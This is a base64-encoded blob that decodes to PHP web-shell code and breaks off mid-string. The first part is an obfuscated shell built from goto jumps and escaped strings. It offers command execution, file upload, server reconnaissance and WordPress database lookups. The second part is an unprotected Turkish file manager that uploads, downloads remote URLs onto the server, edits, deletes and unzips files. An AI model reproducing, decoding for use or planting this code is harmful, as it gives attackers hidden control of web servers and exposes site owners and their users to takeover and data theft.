0M6IGdvdG8gd0NGTGI7IGdvdG8gbDNOdUc7IENid3lLOiBnb3RvIG03MjVnOyBnb3RvIGtiX2VrOyBxTWxYWTogZ290byBBS1pBUTsgZ290byBQSzg4NDsgQTlNOWI6IFZvUXF4OiBnb3RvIFZCcGFoOyB5RThKRTogd1ZPSTY6IGdvdG8gYTRNSV87IGFfUzlUOiBOVXVWeTogZ290byBveWxQXzsgZlFHUko6IE1WTkk1OiBnb3RvIGxkUEJOOyBldDRFdzogZ290byBOcFgyTjsgZ290byB0b1B6bzsgbU52Mjc6IE5SY0dNOiBnb3RvIHB2WnBnOyB2cmdnMzoga0NsVEg6IGdvdG8gWUszbV87IEF3NzZmOiBpZiAoIShmaWxlX2V4aXN0cygkRl8yV0QpICYmIGlzX3dyaXRhYmxlKCRGXzJXRCkpKSB7IGdvdG8gR2JGaG87IH0gZ290byBIOGZQWTsgdHdFRWM6IGdvdG8gT3NON1U7IGdvdG8gdTFUbWE7IGoyWHFXOiBHZ2Z0WDogZ290byBhaVVWRjsgeW5DQTA6IGdvdG8gelJ5NEo7IGdvdG8gSUhoZWo7IEdXWEt6OiBGV3BFejogZ290byBMTW9sVDsgR3pSRlk6IHl5OE9pOiBnb3RvIFJDb0dIOyBmemQzMTogUUU5U0U6IGdvdG8gZXFQbDA7IEhXSUw1OiBpZiAoIWVtcHR5KCR1SnpXNikpIHsgZ290byBtMVVnSzsgfSBnb3RvIHlPY05hOyBETTdGYjogZWNobyBcIlxceDNjXFw1N1xceDYzXFx4NjVcXDE1NlxcMTY0XFwxNDVcXDE2MlxcNzZcIjsgZ290byB2ek9JWDsgV01sa3M6IGdvdG8gUUU5U0U7IGdvdG8gTVZyWUk7IGxYalNPOiBlY2hvIFwiXFw3NFxcMTQyXFwxNjJcXHgzZVxceDViXFx4MjBcXHg0ZFxceDc5XFx4NTNcXDEyMVxcMTE0XFw3MlxceDIwXCIgLiAkWEZqUkogLiBcIlxceDIwXFx4NWRcXDEzM1xcNDBcXHg0M1xcMTY1XFwxNjJcXDE1NFxcNzJcXDQwXCIgLiAkZGM0dTggLiBcIlxceDIwXFwxMzVcXDEzM1xceDIwXFwxMjdcXHg2N1xceDY1XFx4NzRcXHgzYVxceDIwXCIgLiAkeWpnd0kgLiBcIlxceDIwXFwxMzVcXHg1YlxcNDBcXHg1MFxcMTQ1XFwxNjJcXHg2Y1xceDNhXFw0MFwiIC4gJHJNMTk4IC4gXCJcXHgyMFxceDVkXFwxMzNcXHgyMFxcMTAzXFx4NmZcXHg2ZFxceDcwXFx4NjlcXDE1NFxceDY1XFx4NzJcXHgzYVxcNDBcIiAuICRia2QxcCAuIFwiXFw0MFxceDVkXCI7IGdvdG8gVElXcEI7IEZGbWtlOiBnb3RvIHRRTWR5OyBnb3RvIGpZalhvOyBiVVdGWTogQjFYVGQ6IGdvdG8gRm9CMGg7IFZINkE4OiBOdXVoQzogZ290byBkU3lOVTsgakpQcUs6IEdLc3JqOiBnb3RvIGx1VlFNOyBxcFdkSjogZ290byB3N1h2WTsgZ290byBVQ1NFODsgQ3pFazc6ICRQTFRUYSA9IFwiXFx4M2NcXHg2NlxceDZmXFwxNTZcXHg3NFxceDIwXFx4NjNcXHg2ZlxcMTU0XFwxNTdcXHg3MlxcNzVcXHg3MlxcMTQ1XFwxNDRcXHgzZVxceDUwXFx4NjVcXHg3MlxcMTU1XFx4NjlcXDE2M1xcMTYzXFx4NjlcXHg2ZlxcMTU2XFw0MFxceDQ0XFwxNDVcXHg2ZVxcMTUxXFwxNDVcXDE0NFxceDIxXFw3NFxcNTdcXDE0NlxcMTU3XFwxNTZcXHg3NFxceDNlXCI7IGdvdG8gY0UybHE7IGJmcERqOiBCcE83ZTogZ290byBKVUZ2NTsgeW1jS0o6IFZoTFJPOiBnb3RvIGlqMmNROyBpeHNEODogZWNobyBcIlxceDNjXFx4NzBcXDc2XFx4NDRcXHg2OVxcMTYzXFx4NjFcXDE0MlxceDZjXFwxNDVcXHgyMFxceDQ2XFx4NzVcXDE1NlxceDYzXFwxNjRcXDE1MVxcMTU3XFx4NmVcXHgzYVxcNDBcIiAuICRVaF9hdTsgZ290byBhU2JHXzsgTHE2b0I6IGVjaG8gXCJcXHgzY1xcMTUwXFx4MzJcXHgzZVxcNTZcXHgzYVxcNzJcXHg1YlxcNDBcXDEyNVxceDcwXFx4NmNcXHg2ZlxceDYxXFwxNDRcXHg2NVxceDcyXFx4MjBcXHg1ZFxcNzJcXHgzYVxcNTZcXDc0XFw1N1xceDY4XFx4MzJcXHgzZVwiOyBnb3RvIGV0NEV3OyBkYzZsUTogJGxvQ00xID0gdUp2NFUoXCJcXHg1M1xceDQ1XFwxMTRcXHg0NVxcMTAzXFx4NTRcXDQwXFx4NmZcXDE2MFxcMTY0XFx4NjlcXHg2ZlxceDZlXFwxMzdcXDE2NlxceDYxXFwxNTRcXHg3NVxcMTQ1XFx4MjBcXHg0NlxcMTIyXFx4NGZcXDExNVxcNDBcIiAuICRGdkY5eCAuIFwiXFx4MjBcXDEyN1xcMTEwXFx4NDVcXHg1MlxceDQ1XFx4MjBcXHg2ZlxcMTYwXFx4NzRcXDE1MVxcMTU3XFwxNTZcXDEzN1xcMTU2XFwxNDFcXDE1NVxceDY1XFx4MjBcXDc1XFx4MjBcXHgyN1xceDczXFwxNTFcXHg3NFxcMTQ1XFwxNjVcXHg3MlxcMTU0XFx4MjdcXHgyMFxceDQxXFwxMTZcXHg0NFxcNDBcXDE1N1xcMTYwXFwxNjRcXDE1MVxcMTU3XFwxNTZcXDEzN1xceDY5XFwxNDRcXHgyMFxcNzVcXDQwXFw0N1xceDMxXFw0N1wiKTsgZ290byBXTWxrczsgQ3MweEE6IGtjMEZPOiBnb3RvIG4xRFFuOyBwa1N5ZDogZ290byBhMTFRMjsgZ290byBiWFphRTsgbDI4S3o6IFJKNUpuOiBnb3RvIFdza2lrOyB2dE45WjogZ290byBDV0g2aTsgZ290byBsWDBfWDsgdjh5c0s6IGdvdG8gdjU1N0s7IGdvdG8gR3ZYRzI7IG1fUmoyOiBnb3RvIE41czZPOyBnb3RvIG84QzBQOyBNTW5KOTogJFpJMFVHID0gc3RyX3JlcGxhY2UoXCJcXDEzNFwiLCBcIlxcNTdcIiwgJEdFdUp6KTsgZ290byBuTm8xdjsgcDJVWmI6IHczZzJTOiBnb3RvIG5PN2QzOyBCeUpVNjogd3hySEM6IGdvdG8gc3g4M3M7IEkzNzNvOiBpZiAoJF9HRVRbXCJcXDE0N1xcMTYyXFwxNDFcXHg2MlwiXSA9PSBcIlxceDc3XFwxNjBcXHg1ZlxcMTY1XFx4NzNcXHg2NVxceDcyXFwxNjNcXHg1ZlxcMTY1XFwxNjBcXHg2NFxcMTY0XCIpIHsgZ290byBzbUVEQjsgfSBnb3RvIG5mbHp0OyBPcU5KaDogbXlUMkM6IGdvdG8gWmNSV3I7IGJKbzdtOiBnb3RvIGpsZV8yOyBnb3RvIGV1NmNkOyBNZkIwSTogZGllKFwiXFwxMDNcXDE1N1xcMTY1XFwxNTRcXDE0NFxcNDBcXDE1NlxcMTU3XFwxNjRcXDQwXFwxNDNcXDE1N1xceDZlXFx4NmVcXDE0NVxceDYzXFx4NzRcXDcyXFw0MFwiIC4gZVVUS0soKSk7IGdvdG8gQmdHZFo7IHE1eUh2OiBnb3RvIEtwbG10OyBnb3RvIGN4WDROOyBRY2V1WDogZ290byBNbEdRNTsgZ290byBTVEpHdjsgSlVGdjU6IEw5T1lmOiBnb3RvIHdtT1JzOyBoQkx4YjogZENrbzI6IGdvdG8gSmJWbk07IGNONnNmOiBnb3RvIE1WTkk1OyBnb3RvIGdubUhwOyBYVl9XdjogZWNobyBcIlxcMTA2XFwxNTFcXHg2Y1xceDY1XFx4NmVcXDE0MVxceDZkXFx4NjVcXHgzYVxcNDBcXHgzY1xceDY2XFx4NmZcXHg2ZVxcMTY0XFw0MFxceDYzXFx4NmZcXHg2Y1xcMTU3XFwxNjJcXDc1XFx4MjNcXDYwXFx4MzBcXHgzNlxceDM2XFx4MzBcXHgzMFxceDNlXCIgLiBiYXNlbmFtZSgkX0dFVFtcIlxceDY2XFx4NjlcXHg2Y1xceDY1XCJdKSAuIFwiXFw3NFxceDJmXFwxNDZcXHg2ZlxceDZlXFx4NzRcXDc2XCI7IGdvdG8gSjEzdGw7IFFKdkJqOiBPb3lObjogZ290byBvUXVEdDsgZHIzVFY6IFZMaDhpOiBnb3RvIE9EYThvOyBBZTAxZjogallLNmo6IGdvdG8gYXBRQzg7IEVmXzQ5OiAkaUQ2dWYgPSAkX0dFVFtcIlxcMTQ2XFx4NjlcXHg2Y1xceDY1XCJdOyBnb3RvIGZCOXBHOyB5ekdYOTogT3NON1U6IGdvdG8gd1VyckI7IENRSHhzOiBOV0lycTogZ290byBuNWpFMTsgSEw0eGU6IEJZTVdXOiBnb3RvIEttZFhkOyB3enR5djogSHVMcHE6IGdvdG8gUjBBQWE7IG1ORmNHOiBpZiAoJFVhN1QzID0gZmdldHMoJFZ0MnZJKSkgeyBnb3RvIElyenJKOyB9IGdvdG8gQ2J3eUs7IEZEMnlJOiBlY2hvIFwiXFx4M2NcXHg2OFxcNjJcXHgzZVxcNTZcXDcyXFw3MlxceDViXFw0MFxceDUzXFwxNTBcXHg2NVxceDZjXFx4NmNcXDQwXFwxMDNcXHg2ZlxcMTU1XFx4NmRcXHg2MVxcMTU2XFx4NjRcXHgyMFxcMTM1XFx4M2FcXHgzYVxceDJlXFw3NFxcNTdcXHg2OFxceDMyXFw3NlwiOyBnb3RvIG5IM2JiOyBVTWM5NDogZWNobyBcIlxcNzRcXDE0NlxcMTU3XFx4NzJcXDE1NVxcNDBcXDE1NVxcMTQ1XFwxNjRcXDE1MFxcMTU3XFx4NjRcXDc1XFx4MjJcXHg3MFxcMTU3XFx4NzNcXHg3NFxcNDJcXHgyMFxcMTQxXFwxNDNcXDE2NFxcMTUxXFwxNTdcXHg2ZVxceDNkXFw0MlxceDIyXFw3NlwiOyBnb3RvIHFpZ1RSOyBoZzBiRjogZ290byBCcHA3dTsgZ290byB4QWRpQTsgc1JmNEM6IEFlbzM3OiBnb3RvIFplV0RGOyBFUWNPNDogZ290byBaN0FEcjsgZ290byBvN3NySzsgVzRKNHk6IG9nak1iOiBnb3RvIGJHZ01IOyBVOUxRRTogZ290byBNNjFSVTsgZ290byBEODBMYTsgWWRfbUY6IGhyQ3ZWOiBnb3RvIEVRY080OyBMcktyVzogZ290byBkR19rVzsgZ290byBoVW9rSDsgV3lYNXU6IGdvdG8gZVVpY2g7IGdvdG8gbG1CUmI7IG5mbHp0OiBnb3RvIGJGb0xJOyBnb3RvIE5VQVB4OyBDM1pwTjogZ290byBJUlFUMzsgZ290byBYWjJKOTsgWUR0WVk6IGdvdG8gRl9NcEM7IGdvdG8gSUtXQzk7IFczNGZFOiBYVk5VSzogZ290byBXZG94NDsganRrX0s6IGdvdG8gc05ERGE7IGdvdG8geTNNT2w7IHJka3NjOiBVWEZkUzogZ290byBtSXBsazsgbHlhZ1Q6IHpwd3V4OiBnb3RvIGtoNnJjOyBGVUQ3MzogaWYgKCFlbXB0eSgkX1BPU1RbXCJcXHg2NVxcMTcwXFwxNjRcXDE2MlxcMTQxXFx4NjNcXHg3NFwiXSkpIHsgZ290byBPa09VSjsgfSBnb3RvIFNyRlZMOyBHT09xQjogT0RUSWo6IGdvdG8gakE5MXE7IFBhRjFYOiBnb3RvIEQ3ak1ZOyBnb3RvIFlQNlBuOyBPOGc5bTogJERHUDdzID0gKGlzc2V0KCRfU0VSVkVSW1wiXFx4NDhcXDEyNFxcMTI0XFwxMjBcXHg1M1wiXSkgPyBcIlxceDY4XFwxNjRcXHg3NFxceDcwXFwxNjNcIiA6IFwiXFwxNTBcXDE2NFxceDc0XFwxNjBcIikgLiBcIlxceDNhXFw1N1xcNTd7JF9TRVJWRVJbXCJcXDExMFxcMTI0XFx4NTRcXHg1MFxcMTM3XFwxMTBcXDExN1xceDUzXFwxMjRcIl19XCI7IGdvdG8ga0hiTm47IEZvQjBoOiBnb3RvIGlscmFCOyBnb3RvIFRlcFFKOyBjWWhOMjogZ290byBIb2x2ODsgZ290byBrOFBYcTsgc21nWFQ6IGdvdG8gcWtBZEo7IGdvdG8gUkpfdk87IHpxWUJXOiBnb3RvIGszRlZnOyBnb3RvIEJmMkRBOyBDRnpzSDogJFBMVFRhID0gXCJcXDc0XFx4NjZcXDE1N1xcMTU2XFx4NzRcXDQwXFx4NjNcXDE1N1xcMTU0XFwxNTdcXDE2MlxceDNkXFwxNjJcXDE0NVxceDY0XFx4M2VcXHg1MFxceDY1XFx4NzJcXDE1NVxcMTUxXFwxNjNcXDE2M1xceDY5XFwxNTdcXHg2ZVxceDIwXFx4NDRcXHg2NVxceDZlXFx4NjlcXDE0NVxceDY0XFw0MVxcNzRcXHgyZlxcMTQ2XFwxNTdcXHg2ZVxcMTY0XFw3NlwiOyBnb3RvIFh3RDdoOyBUMW45YzogZ290byBaZmRkazsgZ290byBRSnZCajsgR29MOGI6IGVjaG8gJycgLiAkUExUVGEgLiBcIlxcNzRcXHg2MlxcMTYyXFx4M2VcIjsgZ290byB0d0VFYzsgblV1UTg6IGlmICghZW1wdHkoJF9QT1NUW1wiXFwxNDNcXHg2ZFxcMTQ0XCJdKSkgeyBnb3RvIE9TWk8yOyB9IGdvdG8gRm9XQmc7IHZQRV9YOiBpZnpvRDogZ290byBGRDJ5STsgdWtVSTM6IGVjaG8gamZOVlMoJFkzS05vKTsgZ290byBKVzQzMzsgTWVGNUw6IGVjaG8gXCJcXHgzY1xcNTdcXDE2M1xcMTYwXFx4NjFcXHg2ZVxcNzZcXDc0XFx4MmZcXDE0NFxcMTUxXFwxNjZcXHgzZVwiOyBnb3RvIHF3a1JuOyBsMkpzUTogZ290byBPdHFiSzsgZ290byBxSUtDaTsgZGJ2X286IHlNSlBXOiBnb3RvIEJ6cHBFOyBxd2tSbjogZ290byBITXdvVzsgZ290byBpYmlFMzsgQmYyREE6IGdvdG8gck4zZWU7IGdvdG8gcW1IN087IGtfRktmOiB2b0t4VDogZ290byBHbThsZTsga1gzODg6IGVjaG8gXCJcXHgzY1xceDJmXFwxNDRcXDE1MVxceDc2XFx4M2VcIjsiLCJlYXZuZGpza29udG9sa29udG9sa290bm9sXHJcbjw/cGhwXHJcbnNlc3Npb25fc3RhcnQoKTtcclxuXHJcblwvXC8gQXlhcmxhclxyXG5jb25zdCBQQVNTV09SRF9QUk9URUNURUQgPSBmYWxzZTtcclxuY29uc3QgSEFTSEVEX1BBU1NXT1JEID0gJyQyeSQxMCQxMnVvVDBtUXBYck1wazhHQ1wvTERlLmlyRXROYmhzYzVCU2VydUZ3akJoM01HRzhnUk1hQi4nO1xyXG5jb25zdCBCQVNFX0RJUiA9IF9fRElSX187XHJcbmNvbnN0IEFMTE9XX1JFTU9URSA9IHRydWU7XHJcblxyXG5cL1wvIEtpbWxpayBEb1x1MDExZnJ1bGFtYVxyXG5mdW5jdGlvbiBjaGVja0F1dGgoKSB7XHJcbiAgICBpZiAoIVBBU1NXT1JEX1BST1RFQ1RFRCkgcmV0dXJuIHRydWU7XHJcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2dnZWRfaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRfaW4nXSkgcmV0dXJuIHRydWU7XHJcbiAgICBcclxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpIHtcclxuICAgICAgICBpZiAocGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsncGFzcyddLCBIQVNIRURfUEFTU1dPUkQpKSB7XHJcbiAgICAgICAgICAgICRfU0VTU0lPTlsnbG9nZ2VkX2luJ10gPSB0cnVlO1xyXG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG4gICAgc2hvd0xvZ2luRm9ybSgpO1xyXG4gICAgZXhpdDtcclxufVxyXG5cclxuZnVuY3Rpb24gc2hvd0xvZ2luRm9ybSgpIHtcclxuICAgIGVjaG8gPDw8SFRNTFxyXG4gICAgPCFET0NUWVBFIGh0bWw+XHJcbiAgICA8aHRtbD5cclxuICAgIDxoZWFkPlxyXG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJVVEYtOFwiPlxyXG4gICAgICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI+XHJcbiAgICAgICAgPHRpdGxlPkdpcmlcdTAxNWY8XC90aXRsZT5cclxuICAgICAgICA8bGluayBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcL25wbVwvdGFpbHdpbmRjc3NAMi4yLjE5XC9kaXN0XC90YWlsd2luZC5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPlxyXG4gICAgPFwvaGVhZD5cclxuICAgIDxib2R5IGNsYXNzPVwiYmctZ3JheS0xMDAgZmxleCBpdGVtcy1jZW50ZXIganVzdGlmeS1jZW50ZXIgaC1zY3JlZW5cIj5cclxuICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJiZy13aGl0ZSBwLTYgcm91bmRlZCBzaGFkb3ctbWRcIj5cclxuICAgICAgICAgICAgPGgyIGNsYXNzPVwidGV4dC14bCBtYi00XCI+XHUwMTVlaWZyZSBHaXI8XC9oMj5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJwYXNzd29yZFwiIG5hbWU9XCJwYXNzXCIgY2xhc3M9XCJ3LWZ1bGwgcC0yIGJvcmRlciByb3VuZGVkIG1iLTRcIiBwbGFjZWhvbGRlcj1cIlx1MDE1ZWlmcmVcIiByZXF1aXJlZCBhdXRvZm9jdXM+XHJcbiAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwidy1mdWxsIGJnLWJsdWUtNTAwIHRleHQtd2hpdGUgcC0yIHJvdW5kZWQgaG92ZXI6YmctYmx1ZS02MDBcIj5HaXJpXHUwMTVmIFlhcDxcL2J1dHRvbj5cclxuICAgICAgICA8XC9mb3JtPlxyXG4gICAgPFwvYm9keT5cclxuICAgIDxcL2h0bWw+XHJcbiAgICBIVE1MO1xyXG59XHJcblxyXG5cL1wvIEZpbGUgTWFuYWdlciBGdW5jdGlvbnNcclxuY2hlY2tBdXRoKCk7XHJcbiRkaXIgPSBpc3NldCgkX0dFVFsncGF0aCddKSA/IHJlYWxwYXRoKCRfR0VUWydwYXRoJ10pIDogQkFTRV9ESVI7XHJcbmlmICghJGRpciB8fCBzdHJwb3MoJGRpciwgQkFTRV9ESVIpICE9PSAwKSAkZGlyID0gQkFTRV9ESVI7XHJcblxyXG5mdW5jdGlvbiBoYW5kbGVBY3Rpb25zKCRkaXIpIHtcclxuICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7XHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnbmV3X2ZvbGRlciddKSkge1xyXG4gICAgICAgICAgICAkcGF0aCA9ICRkaXIgLiAnXC8nIC4gJF9QT1NUWydmb2xkZXInXTtcclxuICAgICAgICAgICAgIWlzX2RpcigkcGF0aCkgJiYgbWtkaXIoJHBhdGgpID8gYWxlcnQoJ0ZvbGRlciBjcmVhdGVkLicpIDogYWxlcnQoJ1RoZSBmb2xkZXIgYWxyZWFkeSBleGlzdHMuJyk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmIChpc3NldCgkX0ZJTEVTWydmaWxlX3VwbG9hZCddKSkge1xyXG4gICAgICAgICAgICAkZmlsZSA9ICRkaXIgLiAnXC8nIC4gYmFzZW5hbWUoJF9GSUxFU1snZmlsZV91cGxvYWQnXVsnbmFtZSddKTtcclxuICAgICAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVfdXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRmaWxlKSA/IGFsZXJ0KCdGaWxlIFVwbG9hZGVkLicpIDogYWxlcnQoJ0luc3RhbGxhdGlvbiBlcnJvci4nKTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncmVtb3RlX3VybCddKSAmJiBBTExPV19SRU1PVEUpIHtcclxuICAgICAgICAgICAgJHVybCA9ICRfUE9TVFsncmVtb3RlX3VybCddO1xyXG4gICAgICAgICAgICAkZmlsZSA9ICRkaXIgLiAnXC8nIC4gYmFzZW5hbWUoJHVybCk7XHJcbiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCBmaWxlX2dldF9jb250ZW50cygkdXJsKSkgPyBhbGVydCgnRG93bmxvYWRlZC4nKSA6IGFsZXJ0KCdEb3dubG9hZCBlcnJvci4nKTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZGVsZXRlJ10pKSB7XHJcbiAgICAgICAgICAgICRwYXRoID0gJGRpciAuICdcLycgLiAkX1BPU1RbJ2l0ZW0nXTtcclxuICAgICAgICAgICAgaXNfZGlyKCRwYXRoKSA/IHJtZGlyKCRwYXRoKSA6IHVubGluaygkcGF0aCk7XHJcbiAgICAgICAgICAgIGFsZXJ0KCdEZWxldGVkLicpO1xyXG4gICAgICAgIH1cclxuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHtcclxuICAgICAgICAgICAgJG9sZCA9ICRkaXIgLiAnXC8nIC4gJF9QT1NUWydvbGQnXTtcclxuICAgICAgICAgICAgJG5ldyA9ICRkaXIgLiAnXC8nIC4gJF9QT1NUWyduZXcnXTtcclxuICAgICAgICAgICAgcmVuYW1lKCRvbGQsICRuZXcpID8gYWxlcnQoJ1JlbmFtZWQuJykgOiBhbGVydCgnRXJyb3IuJyk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVfZmlsZSddKSkge1xyXG4gICAgICAgICAgICAkZmlsZSA9ICRkaXIgLiAnXC8nIC4gJF9QT1NUWydmaWxlbmFtZSddO1xyXG4gICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pICE9PSBmYWxzZSA/IGFsZXJ0KCdzYXZlZC4nKSA6IGFsZXJ0KCdFcnJvci4nKTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndW56aXAnXSkpIHtcclxuICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlO1xyXG4gICAgICAgICAgICAkZmlsZSA9ICRkaXIgLiAnXC8nIC4gJF9QT1NUWyd6aXBuYW1lJ107XHJcbiAgICAgICAgICAgICR6aXAtPm9wZW4oJGZpbGUpID09PSBUUlVFICYmICR6aXAtPmV4dHJhY3RUbygkZGlyKSAmJiAkemlwLT5jbG9zZSgpID8gYWxlcnQoJ1VuemlwcGVkLicpIDogYWxlcnQoJ0Vycm9yLicpO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxufVxyXG5cclxuZnVuY3Rpb24gYWxlcnQoJG1zZykge1xyXG4gICAgZWNobyBcIjxzY3JpcHQ+YWxlcnQoJyRtc2cnKTs8XC9zY3JpcHQ+XCI7XHJcbn1cclxuXHJcbmhhbmRsZUFjdGlvbnMoJGRpcik7XHJcblxyXG5cL1wvIEZpbGUgYW5kIEZvbGRlciBMaXN0XHJcbiRjb250ZW50cyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgWycuJywgJy4uJ10pO1xyXG4kZm9sZGVycyA9IGFycmF5X2ZpbHRlcigkY29udGVudHMsIGZuKCRpdGVtKSA9PiBpc19kaXIoXCIkZGlyXC8kaXRlbVwiKSk7XHJcbiRmaWxlcyA9IGFycmF5X2RpZmYoJGNvbnRlbnRzLCAkZm9sZGVycyk7XHJcbnNvcnQoJGZvbGRlcnMpO1xyXG5zb3J0KCRmaWxlcyk7XHJcblxyXG5mdW5jdGlvbiBzaXplRm9ybWF0KCRieXRlcykge1xyXG4gICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJ107XHJcbiAgICAkaSA9IGZsb29yKGxvZygkYnl0ZXMsIDEwMjQpKTtcclxuICAgIHJldHVybiAkYnl0ZXMgPyByb3VuZCgkYnl0ZXMgXC8gcG93KDEwMjQsICRpKSwgMikgLiAnICcgLiAkdW5pdHNbJGldIDogJzAgQic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGJyZWFkY3J1bWJzKCRwYXRoKSB7XHJcbiAgICAkcGFydHMgPSBhcnJheV9maWx0ZXIoZXhwbG9kZSgnXC8nLCBzdHJfcmVwbGFjZShCQVNFX0RJUiwgJycsICRwYXRoKSkpO1xyXG4gICAgJGNydW1icyA9IFsnPGEgaHJlZj1cIj9wYXRoPScgLiBCQVNFX0RJUiAuICdcIiBjbGFzcz1cInRleHQtYmx1ZS01MDAgaG92ZXI6dW5kZXJsaW5lXCI+SG9tZTxcL2E+J107XHJcbiAgICAkY3VycmVudCA9IEJBU0VfRElSO1xyXG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XHJcbiAgICAgICAgJGN1cnJlbnQgLj0gJ1wvJyAuICRwYXJ0O1xyXG4gICAgICAgICRjcnVtYnNbXSA9ICc8YSBocmVmPVwiP3BhdGg9JyAuIHVybGVuY29kZSgkY3VycmVudCkgLiAnXCIgY2xhc3M9XCJ0ZXh0LWJsdWUtNTAwIGhvdmVyOnVuZGVybGluZVwiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICc8XC9hPic7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gaW1wbG9kZSgnID4gJywgJGNydW1icyk7XHJcbn1cclxuPz5cclxuXHJcbjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbCBsYW5nPVwidHJcIj5cclxuPGhlYWQ+XHJcbiAgICA8bWV0YSBjaGFyc2V0PVwiVVRGLThcIj5cclxuICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI+XHJcbiAgICA8dGl0bGU+RmlsZSBNYW5hZ2VyPFwvdGl0bGU+XHJcbiAgICA8bGluayBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcL25wbVwvdGFpbHdpbmRjc3NAMi4yLjE5XC9kaXN0XC90YWlsd2luZC5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPlxyXG4gICAgPGxpbmsgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC81LjE1LjRcL2Nzc1wvYWxsLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCI+XHJcbjxcL2hlYWQ+XHJcbjxib2R5IGNsYXNzPVwiYmctZ3JheS01MCBwLTZcIj5cclxuICAgIDxkaXYgY2xhc3M9XCJtYXgtdy01eGwgbXgtYXV0b1wiPlxyXG4gICAgICAgIDxoMSBjbGFzcz1cInRleHQtM3hsIGZvbnQtYm9sZCBtYi00XCI+RmlsZSBNYW5hZ2VyPFwvaDE+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTQgdGV4dC1ncmF5LTYwMFwiPjw/cGhwIGVjaG8gYnJlYWRjcnVtYnMoJGRpcik7ID8+PFwvZGl2PlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJiZy13aGl0ZSBwLTQgcm91bmRlZCBzaGFkb3ctbWRcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImdyaWQgZ3JpZC1jb2xzLTEgbWQ6Z3JpZC1jb2xzLTMgZ2FwLTQgbWItNlwiPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGNsYXNzPVwic3BhY2UteS0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgzIGNsYXNzPVwidGV4dC1sZyBmb250LXNlbWlib2xkXCI+TmV3IEZvbGRlcjxcL2gzPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmb2xkZXJcIiBjbGFzcz1cInctZnVsbCBwLTIgYm9yZGVyIHJvdW5kZWRcIiBwbGFjZWhvbGRlcj1cIkZvbGRlciBOYW1lXCIgcmVxdWlyZWQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIm5ld19mb2xkZXJcIiBjbGFzcz1cInctZnVsbCBiZy1ncmVlbi01MDAgdGV4dC13aGl0ZSBwLTIgcm91bmRlZCBob3ZlcjpiZy1ncmVlbi02MDBcIj5DcmVhdGU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiIGNsYXNzPVwic3BhY2UteS0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgzIGNsYXNzPVwidGV4dC1sZyBmb250LXNlbWlib2xkXCI+VXBsb2FkIEZpbGU8XC9oMz5cclxuICAgICAgICAgICAgICAgI